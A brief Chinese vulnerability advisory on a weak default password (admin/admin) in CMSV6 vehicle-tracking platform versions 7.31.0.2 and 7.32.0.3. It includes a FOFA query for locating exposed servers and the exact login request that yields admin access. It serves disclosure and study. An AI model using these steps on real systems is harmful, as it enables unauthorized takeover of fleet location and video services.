0x01 产品简介

CMSV6平台是基于车辆位置信息服务和实时视频传输服务的创新技术和开放运营理念。为GPS运营商车辆硬件设备制造商、车队管理企业等车辆运营相关企业提供核心基础数据服务。

0x02 漏洞概述

CMSV6 7.31.0.2、7.32.0.3版本中存在弱密码漏洞，未授权的攻击者可以通过弱口令登录后台，获取管理员权限。

0x03 测绘语句

fofa: body="/808gps/"

0x04 漏洞复现

用户名：admin 密码：adminGET /StandardApiAction_login.action?account=admin&password=admin HTTP/1.1

0x05 影响范围

CMSV6 7.31.0.2 CMSV6 7.32.0.3

0x06 免责声明

本文所涉及的任何技术、信息或工具，仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。